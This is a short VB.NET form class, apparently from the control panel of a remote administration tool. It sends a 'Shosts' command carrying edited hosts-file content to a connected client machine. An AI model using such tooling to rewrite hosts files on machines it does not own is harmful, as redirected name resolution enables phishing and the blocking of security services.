Imports System.Threading
Public Class Hosts

    Public C As Client
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Try
            If Not C.IsConnected Then
                Close()
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub ToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem1.Click
        Dim B As Byte() = SB("Shosts" & SettingsHelper.SPL & Guna2TextBox2.Text & SettingsHelper.SPL & Guna2TextBox1.Text)
        ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
        ToolStripMenuItem1.Enabled = False
    End Sub

    Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
        ToolStripMenuItem1.Enabled = True
    End Sub
End Class